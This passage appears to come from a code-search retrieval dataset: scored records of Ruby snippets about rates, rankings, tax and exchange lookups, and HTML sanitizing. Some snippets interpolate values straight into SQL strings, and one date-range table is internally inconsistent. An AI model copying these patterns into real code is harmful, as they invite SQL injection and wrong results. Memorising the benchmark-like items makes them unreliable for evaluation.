"text": "def ssp_rates\n [\n {min: Date.parse(\"6 April 2011\"), max: Date.parse(\"5 April 2012\"), ssp_weekly_rate: 81.60 },\n {min: Date.parse(\"6 April 2012\"), max: Date.parse(\"5 April 2012\"), ssp_weekly_rate: 85.85}\n ]\n end",
"title": ""
},
{
"docid": "13226a5bbf86505a1a1e2304b17761da",
"score": "0.52954054",
"text": "def sort\n { \"_score\" => { order: \"desc\" }}\n end",
"title": ""
},
{
"docid": "49b0f77ede3749862306ef1d7c6a756e",
"score": "0.5287677",
"text": "def values_desc_by_occurency\n values = cards.map(&:value)\n\n values.sort do |a, b|\n coefficient_occurency = (values.count(a) <=> values.count(b))\n\n coefficient_occurency.zero? ? -(a <=> b) : -coefficient_occurency\n end\n end",
"title": ""
},
{
"docid": "ecfe665b304ff900aedf9f84e7ee08aa",
"score": "0.5284924",
"text": "def rate(r)\n command(\"#:R#{@rates[r]}#\")\n end",
"title": ""
},
{
"docid": "9c37d6fe310e6ef9bc1e929632551b74",
"score": "0.52799904",
"text": "def ssp_rates\n [\n {min: Date.parse(\"6 April 2011\"), max: Date.parse(\"5 April 2012\"), ssp_weekly_rate: 81.60},\n {min: Date.parse(\"6 April 2012\"), max: Date.parse(\"5 April 2013\"), ssp_weekly_rate: 85.85},\n {min: Date.parse(\"6 April 2013\"), max: Date.parse(\"5 April 2014\"), ssp_weekly_rate: 86.70},\n {min: Date.parse(\"6 April 2014\"), max: Date.parse(\"5 April 2015\"), ssp_weekly_rate: 87.55}\n ]\n end",
"title": ""
},
{
"docid": "97caa4eefca7d0e2eb6f1bc98f3cfc51",
"score": "0.5279398",
"text": "def results\n #rounds.sort! { |a,b| b.total_score <=> a.total_score}\n # Sorts the results by total stableford score and then by back_nine score\n rounds.sort do |a,b|\n comp = (b.total_score <=> a.total_score)\n comp.zero? ? (b.back_nine <=> a.back_nine) : comp\n end\n end",
"title": ""
},
{
"docid": "7ba13181a93b9ed945a70b5fd65e3471",
"score": "0.52780014",
"text": "def sorting_rate(lat, long, params_time_factor, params_distance_factor)\n distance_in_km = Geocoder::Calculations::distance_between(self, [lat.round(4), long.round(4)], :units => :km)\n time_in_millis = (Time.zone.now - self.created_at) * 1000\n\n time_factor = Api::V1::PhotoSearch.time_factor_from_param params_time_factor\n distance_factor = Api::V1::PhotoSearch.distance_factor_from_param params_distance_factor\n\n # \"product(\n # sum(plusminus_i,1),\n # 1e100,\n # max(\n # product(\n # exp(\n # product(\n # #{distance_factor},\n # geodist(\n # coordinates_ll,\n # #{params[:user_latitude].to_f.round(4)},\n # #{params[:user_longitude].to_f.round(4)}\n # )\n # )\n # ),\n # exp(\n # product(\n # #{time_factor},\n # ms(NOW/HOUR, created_at_dt)\n # )\n # )\n # ),\n # 1e-200\n # )\n # ) desc\".gsub(/\\s+/, \" \").strip\n\n return (self.plusminus.to_d + 1.to_d).to_d * 1.0E10 * [Math.exp( distance_factor.to_d * distance_in_km) * Math.exp( time_factor.to_d * time_in_millis.to_d), 1.0E-200].max\n end",
"title": ""
},
{
"docid": "19df5fd92c4865cae507d5579b9e864d",
"score": "0.5270604",
"text": "def seasonal_rates(year)\n resort = @resorts[@index]\n resort[:rates] ||= []\n resort[:rates][year] ||= \n if resort[\"seasons\"]\n resort[\"seasons\"].collect do |season_data|\n season = season_data.values[0]\n start_date = season[\"start\"]\n end_date = season[\"end\"]\n \n { \n start: Date.parse(\"#{year}-#{start_date}\"), \n end: Date.parse(\"#{end_date > start_date ? year : year + 1}-#{end_date}\"), \n rate: currency_to_float(season[\"rate\"])\n }\n end\n else\n # no season data so create a regular year\n [{start: Date.parse(\"#{year}-1-1\"), end: Date.parse(\"#{year}-12-31\"), rate: currency_to_float(resort[\"rate\"])}]\n end\n \n end",
"title": ""
},
{
"docid": "1f58c327993859a8097fd2e8c4135d4b",
"score": "0.5269949",
"text": "def rate_by_order(o)\n where = {tax_rateable: [o.delivery_country, o.delivery_country.parent].compact}\n where[:business] = false unless o.business?\n order = Arel.sql(\"\n business DESC, \n CASE WHEN \n tax_rateable_id = '#{o.delivery_country.id}' \n THEN 0 ELSE 1 END\")\n\n tax_rates.where(where).order(order).first || default_tax_rate\n end",
"title": ""
},
{
"docid": "5feefd469cf81658bdec890cd0723e79",
"score": "0.52695495",
"text": "def spot(crypto, priced)\n COINBASE.xrates( {currency: 'BCH'} )['data']['rates'][priced]\nend",
"title": ""
},
{
"docid": "34ac76cdde8305362229230149c5d684",
"score": "0.5265705",
"text": "def currencies\n rates.keys\n end",
"title": ""
},
{
"docid": "18387aabd9c7da166e7880dcd88094a5",
"score": "0.52600086",
"text": "def get_users_score_order score\n users_order = []\n score.each_with_index do |v, k|\n if v\n users_order << [k, v.last] # order by total\n end\n end\n\n users_order = users_order.sort_by { |v| 0 - v[1] }\n users_order.map { |v| v[0] }\n end",
"title": ""
},
{
"docid": "f7c9da0d1768440958a2f2589fcd123a",
"score": "0.52288043",
"text": "def index\n @rates = Rate.all\n end",
"title": ""
},
{
"docid": "f7c9da0d1768440958a2f2589fcd123a",
"score": "0.5228192",
"text": "def index\n @rates = Rate.all\n end",
"title": ""
},
{
"docid": "f7c9da0d1768440958a2f2589fcd123a",
"score": "0.5228192",
"text": "def index\n @rates = Rate.all\n end",
"title": ""
},
{
"docid": "f7c9da0d1768440958a2f2589fcd123a",
"score": "0.5228192",
"text": "def index\n @rates = Rate.all\n end",
"title": ""
},
{
"docid": "f7c9da0d1768440958a2f2589fcd123a",
"score": "0.5228192",
"text": "def index\n @rates = Rate.all\n end",
"title": ""
},
{
"docid": "44894e641140b7e06f00adfa79304560",
"score": "0.5213945",
"text": "def rankings\n\t\t\tzipped = (0..@scores.length-1).to_a.zip @scores\n\t\t\tzipped.sort! { |a, b| b[1] <=> a[1] }\n\t\t\tzipped.map { |pair| pair[0] }\n\t\tend",
"title": ""
},
{
"docid": "4715887172d8be12ed19ae68c7cb0e96",
"score": "0.52135044",
"text": "def sorted_positions\n self.positions.sort_by { |pos| pos.is_current? ? 0 : 1 }\n end",
"title": ""
},
{
"docid": "02afea6e06a88606e0f02f7c991ad69c",
"score": "0.5211774",
"text": "def rates_by_st(st, per_page, prefix_cond)\n select = 'rates.id, rates.tariff_id, rates.destination_id, destinations.direction_code, destinations.prefix, ' +\n 'destinations.name as destination_name'\n\n Rate.select(select)\n .from('destinations, rates, directions')\n .where(['rates.tariff_id = ? AND destinations.id = rates.destination_id', self.id])\n .where(['directions.code = destinations.direction_code AND directions.name like ?', st.to_s + '%'])\n .where(prefix_cond)\n .group('rates.id')\n .order('directions.name ASC, destinations.prefix ASC')\n .limit(per_page.to_s)\n end",
"title": ""
},
{
"docid": "74afbeb965bbee46aa40b4593b27963d",
"score": "0.521076",
"text": "def rates(rates_request)\n rates_uri = \"#{oanda_endpoint}#{RATES_BASE_PATH}#{rates_request.base_currency}.json?#{rates_request.query_string}\"\n rates_response = HTTParty.get(rates_uri, headers: oanda_headers)\n handle_response(rates_response.response)\n OpenStruct.new(rates_response.parsed_response)\n end",
"title": ""
},
{
"docid": "a3e3613e3db3a86703857981350daac2",
"score": "0.52079123",
"text": "def ranked\n @players = PlayerStat.all.sort_by { |hash| hash['R'] }.reverse\n render json: @players\n end",
"title": ""
},
{
"docid": "ba10a5f3539518f19b95ef20a748237b",
"score": "0.5193528",
"text": "def rank\n sort\n end",
"title": ""
},
{
"docid": "5ab425af78a064ea4015b8915682b88d",
"score": "0.519227",
"text": "def extract_rates parsed\n to_hash! parsed['rates'].keys.map{|k| k.downcase.to_sym }.zip(parsed['rates'].values.map{|v| BigDecimal(v.to_s) }).flatten\n end",
"title": ""
},
{
"docid": "9e8e285c1a042800631e432069022353",
"score": "0.5191381",
"text": "def rates_by_st(st, per_page, prefix_cond)\n select = 'rates.id, rates.tariff_id, rates.destination_id, destinations.direction_code, prefix, city, state, ' +\n 'lata, subcode, tier, ocn, destinations.name as destination_name'\n\n Rate.select(select)\n .from('destinations, rates, directions')\n .where(['rates.tariff_id = ? AND destinations.id = rates.destination_id', self.id])\n .where(['directions.code = destinations.direction_code AND directions.name like ?', st.to_s + '%'])\n .where(prefix_cond)\n .group('rates.id')\n .order('directions.name ASC, destinations.prefix ASC')\n .limit(per_page.to_s)\n end",
"title": ""
},
{
"docid": "ef8d0b44a306f36727a32d223ba56b46",
"score": "0.51908535",
"text": "def players_by_score\n Player.all.sort do |a, b|\n b.score <=> a.score\n end\n end",
"title": ""
},
{
"docid": "9f36c85041d163e3dcbed5ffc9a1c39f",
"score": "0.51829726",
"text": "def get_rates(file=DEFAULT_RATES)\n rates = {}\n CSV.open(file, \"r\").each do |line|\n rates[line[0]] = line[1]\n end\n return rates\n end",
"title": ""
},
{
"docid": "94f453d7c31a0645e5b0c036ce9ce5d5",
"score": "0.5182033",
"text": "def bid_prices\n bids.map {|bid| bid[0] }.sort\n end",
"title": ""
},
{
"docid": "b1e8e054920fc1aee3fa4eed4ba53ea6",
"score": "0.5179516",
"text": "def cars_sorted_by_price\n @inventory.sort_by(&:total_cost)\n end",
"title": ""
},
{
"docid": "b3f1ef41f68765a60f2f9aa1694381eb",
"score": "0.5178169",
"text": "def topHighestInflationRates(nr)\n temp_arr = Hash.new\n @world.elements.each { |country|\n if country.attributes[\"inflation\"]\n temp_arr[country.attributes[\"name\"]] = country.attributes[\"inflation\"].to_f\n end\n }\n temp_arr = temp_arr.sort{|a,b| b[1]<=>a[1]}\n a = Array.new\n counter = 0\n temp_arr.each { |country, value|\n (counter+=1)>=(nr+1) ? break : a.push([country, value])\n }\n return a\n end",
"title": ""
},
{
"docid": "e147386bd53fecdb8486885efdc3b2df",
"score": "0.51720244",
"text": "def bitrates\n get_streams() if @bitrates.empty?\n @bitrates.keys.sort.reverse\n end",
"title": ""
},
{
"docid": "77e5fad4c7deea43c1407bf3503d8489",
"score": "0.5163462",
"text": "def popularity_list\r\n\t\t@popular_list.sort_by {|_,val| -val}\r\n\tend",
"title": ""
},
{
"docid": "d6c996902c6571f7f9a4ae9556ee7d7f",
"score": "0.51624966",
"text": "def roster_descending_scores\n roster_scores_array = []\n self.students.each do |student|\n roster_scores_array << (student.total_score.to_f / 100)\n end\n roster_scores_array.sort! {|x,y| y <=> x }\n end",
"title": ""
},
{
"docid": "d6c996902c6571f7f9a4ae9556ee7d7f",
"score": "0.51624966",
"text": "def roster_descending_scores\n roster_scores_array = []\n self.students.each do |student|\n roster_scores_array << (student.total_score.to_f / 100)\n end\n roster_scores_array.sort! {|x,y| y <=> x }\n end",
"title": ""
},
{
"docid": "0b1851a144c482af653fadcdf68e7ee2",
"score": "0.51624084",
"text": "def rates_sum\n rates.sum(:rate)\n end",
"title": ""
},
{
"docid": "5fd2fa21fd56d9dc1dbbab5f4c575e47",
"score": "0.51604235",
"text": "def each_rate(&block)\n return to_enum(:each_rate) unless block_given?\n\n guard.synchronize do\n rates.each do |key, rate|\n iso_from, iso_to = key.split(INDEX_KEY_SEPARATOR)\n yield iso_from, iso_to, rate\n end\n end\n end",
"title": ""
},
{
"docid": "555a4a405fe0f795e379b4a34dc37ea3",
"score": "0.51600236",
"text": "def sorter\n y * 1000 + x\n end",
"title": ""
},
{
"docid": "a069ed16852aaefddd403dfefb4f6ce9",
"score": "0.5157084",
"text": "def print_scoreboard\n @player_position.sort_by do |players|\n end\n end",
"title": ""
},
{
"docid": "76cdf34d4069bc96b66b5407d63c456b",
"score": "0.51460004",
"text": "def rate_by_order(o)\n tax_rates.where(tax_rateable: o.delivery_country, business: o.business).first || \n tax_rates.where(tax_rateable: o.delivery_country.parent, business: o.business).first || \n default_tax_rate\n end",
"title": ""
},
{
"docid": "7f69dd5462a5c75d95a4170ddc09e307",
"score": "0.5138465",
"text": "def each_rate(&block)\n enum = Enumerator.new do |yielder|\n rates.each do |key, rate|\n iso_from, iso_to = key.split(Memory::INDEX_KEY_SEPARATOR)\n iso_to, date = iso_to.split(INDEX_DATE_SEPARATOR)\n date = Date.parse(date) if date\n yielder.yield iso_from, iso_to, rate, date\n end\n end\n\n block_given? ? enum.each(&block) : enum\n end",
"title": ""
},
{
"docid": "1f363a65c5c4d44cbace42594652c317",
"score": "0.51309854",
"text": "def rank_vals(valuations)\n\t\t# count = 0\n\t\t# p valuations.size\n\t\t# valuations.each do |valuation| \n\t\t# \tcount += 1\n\t\t# \tap count \n\t\t# \tap valuation if (count.between?(595, 605))\n\t\t# end\n\t\tvaluations.sort_by {|k| k[:total] || -30 }.reverse\n\tend",
"title": ""
},
{
"docid": "c4a8e73f6c13516d337eface138b7bf4",
"score": "0.51293576",
"text": "def exchange_rates(build_tag:)\n case build_tag\n when latest_build_tag\n @latest_exchange_rates ||= Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n when latest_build_tag - 1\n @second_last_exchange_rates ||= Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n when latest_build_tag - 2\n @third_last_exchange_rates ||= Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n when latest_build_tag - 3\n @fourth_last_exchange_rates ||= Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n else\n Euresource::ExchangeRate.get(:all, params: {build_tag: build_tag}, method: :index)\n end\n end",
"title": ""
},
{
"docid": "909cb596527036a10c2f58bba9c33eed",
"score": "0.5128805",
"text": "def sort_using_rank\n score.arranged_hand\n end",
"title": ""
},
{
"docid": "092a2f2c561ca971b886bab7de29bbf3",
"score": "0.51279235",
"text": "def all_rates\n self.rates.includes(:rateable).all\n end",
"title": ""
},
{
"docid": "4c63b83a9e40da4db844631dee6e361b",
"score": "0.5127415",
"text": "def extract_rates parsed\n rate_array = parsed.map { |c|\n map_to_currency_or_rate c\n }.compact.flatten\n\n to_hash!([:eur, BigDecimal(\"1\")] + rate_array)\n end",
"title": ""
},
{
"docid": "3ddd04d790d9c75555aeb404fa102a86",
"score": "0.512676",
"text": "def find_rates(origin, destination, packages, options = {})\n raise NotImplementedError, \"#find_rates is not supported by #{self.class.name}.\"\n end",
"title": ""
},
{
"docid": "7291984096dc9b2bf508a44b9a3f62a5",
"score": "0.5120246",
"text": "def popularity_list()\n \n#we should have a list of movies now\n res = $movies.sort_by{|k,v| v}.reverse\n return res\nend",
"title": ""
},
{
"docid": "ebd534a895680de836989f8abe537ff7",
"score": "0.51182234",
"text": "def rates_list\n return false unless check_user_for_tariff(@tariff.id)\n\n @allow_manage, @allow_read = accountant_permissions\n @page_title = _('Rates_for_tariff') #+\": \" + @tariff.name\n @can_edit = true\n\n if current_user.usertype == 'reseller' and @tariff.owner_id != current_user.id and CommonUseProvider.where(:reseller_id => current_user.id, :tariff_id => @tariff.id).first\n @can_edit = false\n end\n\n @directions_first_letters = Rate.select('directions.name').where(\"rates.tariff_id = #{@tariff.id}\").joins(\"JOIN destinations ON destinations.id = rates.destination_id JOIN directions ON (directions.code = destinations.direction_code)\").order(\"directions.name ASC\").group(\"SUBSTRING(directions.name,1,1)\").all\n\n @directions_first_letters.map! { |rate| rate.name[0..0] }\n @st = (params[:st] ? params[:st].upcase : @directions_first_letters[0])\n\n @st = @st.to_s\n\n @st = 'A' if @st.blank?\n\n @directions = Direction.\n select(\"directions.*, COUNT(destinations.id) AS 'dest_count', COUNT(rates.id) AS 'rate_count'\").\n where([\"directions.name LIKE ?\", @st.to_s + \"%\"]).\n joins(\"LEFT JOIN destinations ON (destinations.direction_code = directions.code) LEFT JOIN rates ON (rates.destination_id = destinations.id AND tariff_id = #{@tariff.id.to_i})\").\n order(\"name ASC\").\n group(\"directions.id\").\n all\n @page = params[:page] ? params[:page].to_i : 1\n record_offset = (@page - 1) * session[:items_per_page].to_i\n\n if params[:s_prefix]\n @s_prefix = params[:s_prefix].gsub(/[^0-9%]/, '')\n @des_id = Destination.select(:id).where([\"prefix LIKE ?\", @s_prefix.to_s]).all.map {|destination| destination.id}\n end\n if @s_prefix\n unless @des_id.empty?\n @search = 1\n condition = [\"rates.tariff_id=? AND rates.destination_id IN (#{@des_id.join(',')})\", @tariff.id]\n rate_count = Rate.includes(:ratedetails).where(condition).count\n @rates = Rate.includes(:ratedetails).where(condition).offset(record_offset).limit(session[:items_per_page].to_i).all\n else\n @rates = []\n end\n else\n condition = [\"rates.tariff_id=? AND directions.name like ?\", @tariff.id, @st+\"%\"]\n includes = [:ratedetails, {:destination => :direction}, :tariff]\n rate_count = Rate.includes(includes).where(condition).count\n @rates = Rate.includes(includes).where(condition).order(\"directions.name ASC, destinations.prefix ASC\").offset(record_offset).limit(session[:items_per_page].to_i).all\n end\n\n @total_pages = (rate_count.to_f / session[:items_per_page].to_f).ceil\n\n @use_lata = (@st == \"U\")\n @letter_select_header_id = @tariff.id\n @page_select_header_id = @tariff.id\n end",
"title": ""
},
{
"docid": "0e26cacd8c5148255fb3cd638830f09d",
"score": "0.5117882",
"text": "def sorted_cards\n sorted_cards = @cards.sort_by { |card| card.rank }\n sorted_cards.group_by { |card| card.suit }\n end",
"title": ""
},
{
"docid": "b6599abe1fc4a9419b348b9176e25c01",
"score": "0.5117524",
"text": "def get_retreat_pos_rating\n #pos, rate, greatest_min, farthest, count\n rating = [@active_battler.pos, 1, 0, 0, 0] \n away = @active_battler.opponents\n for pos in @move_positions\n rating = rate_retreat(rating, pos, away)\n end\n @active_battler.current_action.move_pos = rating[0]\n end",
"title": ""
},
{
"docid": "c41985ad5bfffe67059b17ea5d5b4e17",
"score": "0.51136774",
"text": "def map_to_currency_or_rate xml\n unless (values = xml.attributes.values).empty?\n values.map { |v|\n val = v.value\n val.match(/\\d+/) ? BigDecimal(val) : val.downcase.to_sym\n }.sort_by(&:to_s).reverse\n end\n end",
"title": ""
},
{
"docid": "fd0ecb7e2d3a604c76207561ee4a8451",
"score": "0.5109453",
"text": "def index\n render json: Exchange.rates_list(rate_params)\n end",
"title": ""
},
{
"docid": "b963b2ea2c926968a11a93f7643a85b2",
"score": "0.5107563",
"text": "def sort\n\n\t\tfor j in 1..(@averageRank.count - 1)\n\t\t\tkey = @averageRank[j][:average]\n\t\t\tkey_id = @averageRank[j][:id]\n\t\t\ti = j - 1\n\t\t\twhile i >= 0 && @averageRank[i][:average] < key do\n\t\t\t\t@averageRank[i+1] = @averageRank[i]\n\t\t\t\ti = i - 1\n\t\t\tend\n\t\t\t@averageRank[i+1] = {:average => key, :id => key_id}\n\t\tend\n\t\t\n\t\t#add sorted route into stars to find the \n\t\tfor i in 0..(@averageRank.count - 1)\n\t\t\tscore = @averageRank[i][:average]\n\t\t\tid = @averageRank[i][:id]\n\t\t\t@stars[i] = {:star => score, :id => id}\n\t\tend\n\t\t\n\t\treturn @averageRank\n\tend",
"title": ""
},
{
"docid": "ada5bd34d3150c496aebaef8721a13ba",
"score": "0.51046664",
"text": "def index\n @red_packet_base_rates = RedPacketBaseRate.all\n end",
"title": ""
},
{
"docid": "5fcd0e6e2e79bfd00545eeb4e3054aa0",
"score": "0.5099732",
"text": "def initialize( ratios = {} )\n lookup = Hash.new{|hash, key| hash[key] = []}\n ratios.each do |language, ratio|\n lookup[ratio] << language\n end\n \n @ratios = ratios\n @order = lookup.keys.sort{|a, b| b <=> a}.collect{|ratio| lookup[ratio]}.flatten\n end",
"title": ""
},
{
"docid": "297fed159ffc5db9af3e6b592de188ce",
"score": "0.5099143",
"text": "def sort_by_position(results)\n # 5 response at most\n max = (results.length > 5)? 5: results.length - 1\n (0..max).each do |i|\n results.each_with_index do |item, idx|\n if results[i][:pos].nil? || (!item[:pos].nil? && item[:pos] > results[i][:pos])\n results[i], results[idx] = results[idx], results[i]\n end\n end\n end\n results[0..max]\n end",
"title": ""
},
{
"docid": "105ef0a3d91fa73bf83105d56bbf06bb",
"score": "0.5098162",
"text": "def ask_prices\n asks.map {|ask| ask[0] }.sort\n end",
"title": ""
},
{
"docid": "6ee1a1f33d35c93d137ae077b1366fb3",
"score": "0.5096536",
"text": "def extract_rates(data)\n rates = JSON.parse(data)['rates']\n rates.each do |currency, rate|\n store.add_rate(currency, :EUR, 1 / BigDecimal(rate.to_s))\n end\n rescue\n raise FixerCurrencyFetchError\n end",
"title": ""
},
{
"docid": "349b4d3e354afb3258a1fa9a01ade408",
"score": "0.509275",
"text": "def ordered_by_qualifications(candidates)\n candidates.sort_by do |candidate|\n [-candidate[:years_of_experience], -candidate[:github_points]]\n end\n\n\nend",
"title": ""
},
{
"docid": "b9bf4476836eb576e7653c09b457c330",
"score": "0.50897276",
"text": "def tax_rates\n []\n end",
"title": ""
},
{
"docid": "e469cc54f5c9bf8583c5ee7c223b19ee",
"score": "0.50860643",
"text": "def get_scores\r\n items = DYNAMODB.scan(table_name: TABLE).items\r\n sort_items_by_descending_scores_and_ascending_timestamp(items)\r\n make_result_list(items)\r\nend",
"title": ""
},
{
"docid": "2ebae4cd9201b3871ea7710fe7c6c43d",
"score": "0.5085763",
"text": "def getOrdered\n sorted = @sourceHash.values.sort_by do |source|\n # when updating a source, it's possible that we have identital \"order\" values.\n # e.g. we think the order is a,b,c, and the user updates that c goes into pos 1.\n # it's not explicitly clear that the \"right\" answer is c,a,b or a,c,b, so we\n # infer that the \"lastest\" update to pos 1 wins.\n [ source.order, -source.updated ]\n end\n\n return sorted\n end",
"title": ""
},
{
"docid": "0fd6a161d7313c8c0d88eb745ae043f4",
"score": "0.50838333",
"text": "def index\n # :points makes the parameter take it in as a symbol, (like an unchangeable string, this is what it wants)\n # we changed this to .order(points: :desc) to force the scores to sort in highest to smallest mode, using the built-in order method\n @scores = @game.scores.order(points: :desc)\n end",
"title": ""
},
{
"docid": "eabfef5ca468d4536e87db41e75676c6",
"score": "0.5080572",
"text": "def shipping_rates(items = nil)\n items ||= OrderItem.order_items_in_cart(self.id)\n rates = items.inject([]) do |rates, item|\n rates << item.shipping_rate if item.shipping_rate.individual? || !rates.include?(item.shipping_rate)\n rates\n end\n end",
"title": ""
},
{
"docid": "5726b5579c48a1082f606771bc3293c4",
"score": "0.50787675",
"text": "def lowest_rates\n log_around 'to retrieve or calculate lowest rates' do\n @lowest_rates ||= viable_rates.group_by{|r| r.min_deposit }\n .map { |min_deposit, rates| rates.min_by(&:twenty_year_apr) }.flatten(1)\n end\n end",
"title": ""
},
{
"docid": "d9f1abc357c31cf14370063017a7699b",
"score": "0.5072603",
"text": "def rate_hash\r\n @rate_hash ||= self.order.available_shipping_methods(:front_end).collect do |ship_method|\r\n cost = ship_method.calculator.compute(self)\r\n next unless cost\r\n { :id => ship_method.id,\r\n :shipping_method => ship_method,\r\n :name => ship_method.name,\r\n :cost => cost\r\n }\r\n end.compact.sort_by{|r| r[:cost]}\r\n end",
"title": ""
},
{
"docid": "96cfff22306bc298cb50e78d88b252a9",
"score": "0.5071009",
"text": "def rates\n @page_title = _('Sms_rates')\n #@page_icon = \"\"\n params_st = params[:st]\n params_page = params[:page]\n access=check_user_id_with_session(@tariff.owner_id)\n return false if !access\n @page_title = _('SMS_Rates_for_tariff') +': ' + @tariff.name\n\n @st = 'A'\n @st = params_st.upcase if params_st\n\n session_items_per_page = session[:items_per_page]\n @rates = @tariff.rates_by_st(@st, 0, 10000)\n @total_pages = (@rates.size.to_d / session_items_per_page.to_d).ceil\n\n @page = 1\n @page = params_page.to_i if params_page\n @page = @total_pages if @page > @total_pages\n\n @all_rates = @rates\n @rates = []\n\n rates_size_dec = @all_rates.size - 1\n iend = ((session_items_per_page * @page) - 1)\n iend = rates_size_dec if iend > rates_size_dec\n for index in ((@page - 1) * session_items_per_page)..iend\n @rates << @all_rates[index]\n end\n @rates = @rates.compact\n #----\n\n tariff_id = @tariff.id\n @letter_select_header_id = tariff_id\n @page_select_header_id = tariff_id\n\n @dests = @tariff.free_destinations_by_st(@st)\n\n end",
"title": ""
}
] |
e8294744b5fc73304706b9ac00dde229
|
helper method strips out most of the unwanted markup from event content
|
[
{
"docid": "17579641a5fc1012165ccdb962eb9d89",
"score": "0.0",
"text": "def format_content content\n # FIXME suboptimal\n\n content.lines.to_a.reject{ | l | l =~ /div/ }.reject { | line | line.chomp.strip.empty? == true }.map do | line|\n CGI::unescapeHTML line\n end.join \"\"\n end",
"title": ""
}
] |
[
{
"docid": "c524ab477e6ccb7c78c9e723ca8a7276",
"score": "0.6689432",
"text": "def discard_b(event)\n @content << %Q|<span class=\"only_b\"><ins>#{event.new_element}</ins></span><br/>\\n|\n end",
"title": ""
},
{
"docid": "d62ffff8d9339a910c8aef19e37c071a",
"score": "0.66591114",
"text": "def discard_a(event)\n @content << %Q|<span class=\"only_a\"><del>#{event.old_element}</del></span><br/>\\n|\n end",
"title": ""
},
{
"docid": "a38e5d332a276dc1a8b26b1aa80da0ed",
"score": "0.6535306",
"text": "def do_sanitize_html \n html_permitted_in = [:event]\n\n attributes.each do |key, val|\n next if html_permitted_in.include?(key)\n next unless val.is_a?(String)\n\n attribute_set(key, Alert.remove_html(val))\n end\n\n html_permitted_in.each do |key|\n val = attribute_get(key)\n next unless val.is_a?(String)\n attribute_set(key, Alert.clean_html(val))\n end\n end",
"title": ""
},
{
"docid": "ef67f7197d5de7526f11149fbf1bc17f",
"score": "0.62591094",
"text": "def strip_markup\n self.gsub(/<.*?>|&[#\\da-z]+;/i, '')\n end",
"title": ""
},
{
"docid": "09033ba657026999deb37b25d0fc2398",
"score": "0.62501496",
"text": "def discard_a(event)\n @output << %Q|<pre class=\"only_a\"> - #{event.old_element}</pre>\\n|\n end",
"title": ""
},
{
"docid": "d28ea9eedc087dba409f4576c80b1b95",
"score": "0.62183636",
"text": "def discard_a(event)\n @output << \"<span class='only_a'>#{event.old_element.to_s}</span>\"\n end",
"title": ""
},
{
"docid": "6f2dc87397eee954456b62441c75c86a",
"score": "0.6148993",
"text": "def content_stripped()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "52412781a89575fb4b74b71171405f56",
"score": "0.6075287",
"text": "def discard_a(event)\n @content << %Q|<tr><td>#{old_line}. </td><td><pre class=\"only_a\">#{event.old_element}</pre></td><td></td><td></td></tr>\\n|\n @old_line += 1\n end",
"title": ""
},
{
"docid": "a3a951dfed423cc6e5c3c2cf9e130b77",
"score": "0.5987649",
"text": "def stripped_content\n self.content.gsub(\"</b>\", \"\").gsub(\"<b>\", \"\")\n end",
"title": ""
},
{
"docid": "a87447153b5fad417649724bef53a694",
"score": "0.5979473",
"text": "def clean_page_message_content\n @body = self.page_message\n if @body.include?('<div>')\n @newbody = @body.gsub('<div>', '').gsub('</div>', '')\n self.update_attribute('page_message', @newbody)\n end\n end",
"title": ""
},
{
"docid": "6de2894ce28fba976dd26e101b5ac01a",
"score": "0.5978634",
"text": "def discard_b(event)\n @output << \"<span class='only_b'>#{event.new_element.to_s}</span>\"\n end",
"title": ""
},
{
"docid": "a4724a4e74d9872714e20da1ecd5ee65",
"score": "0.5955704",
"text": "def discard_b(event)\n @output << %Q|<pre class=\"only_b\"> + #{event.new_element}</pre>\\n|\n end",
"title": ""
},
{
"docid": "aa5e3ac15dd77e271396eeb0bd5c82d2",
"score": "0.5948355",
"text": "def discard_a(event)\n @left_output << htmlize(\"#{event.old_element}\", :only_a_class)\n end",
"title": ""
},
{
"docid": "7e96d1425f3a9cf387978c97503f14d8",
"score": "0.59233236",
"text": "def trim_item_body(post)\n post.children[0...3].remove\n post.search('p.backlink').remove\n\n return post.inner_html\nend",
"title": ""
},
{
"docid": "0dee1f4416bbe96fb7254d85a1507b68",
"score": "0.58924174",
"text": "def clean()\n #strip all illegal content here. (scripts, shit that will break layout, etc.)\n end",
"title": ""
},
{
"docid": "d7801c3c2bd8e1cc6307fb1c5304b552",
"score": "0.5874244",
"text": "def discard_b(event)\n @content << %Q|<tr><td></td><td></td><td><pre class=\"only_b\">#{event.new_element}</pre></td><td>#{new_line}. </td></tr>\\n|\n @new_line += 1\n end",
"title": ""
},
{
"docid": "2cbf3daef182892bcbedf3d5a4e66e24",
"score": "0.58635926",
"text": "def stripped_content\n clean_and_strip(self.page_message)\n end",
"title": ""
},
{
"docid": "3c71e3ce7aef5209e6d89ca6599559f1",
"score": "0.5836781",
"text": "def strip_markup!\n gsub!(Variable.markup, '')\n end",
"title": ""
},
{
"docid": "6f161fd7ea819320f93fce807e6e8768",
"score": "0.58354557",
"text": "def discard_a(event)\n @output << htmlize(event.old_element, :only_a_class)\n end",
"title": ""
},
{
"docid": "7fde46fd4cda7c0d0fb3aa0d48c14791",
"score": "0.5757717",
"text": "def remove_tags_html() self.gsub(%r{</?[^>]+?>}, '').gsub(\"\\r\\n\", ' ') end",
"title": ""
},
{
"docid": "8fc98720b3bc550b71887fab8e11fa06",
"score": "0.5735574",
"text": "def strip_html\n stripper = HtmlStripper.new @content\n stripper.strip\n end",
"title": ""
},
{
"docid": "60a2bfe73395edda3703ba47ba5f6107",
"score": "0.5726779",
"text": "def strip_html\n self.gsub(/<\\/?[^>]*>|&[a-z]+;|[\\r\\n]*/, \"\")\n end",
"title": ""
},
{
"docid": "ab5fe3bb78d5c554b4ff5ec08cce0c5d",
"score": "0.5704811",
"text": "def event_as_html server=LiveJournal::DEFAULT_SERVER\n # I'd like to use REXML but the content isn't XML, so REs it is!\n html = @event.dup\n html.gsub!(/\\n/, \"<br/>\\n\") unless @preformatted\n html.gsub!(%r{< \\s* lj \\s+ user \\s* = \\s*\n ['\"]? ([^\\s'\"]+) ['\"]?\n \\s* /? \\s* >}ix) do\n user = $1\n url = \"#{server.url}/~#{user}/\"\n \"<a href='#{url}'><b>#{user}</b></a>\"\n end\n html\n end",
"title": ""
},
{
"docid": "ea34eff4221e6573427cf697a2da07b1",
"score": "0.57014626",
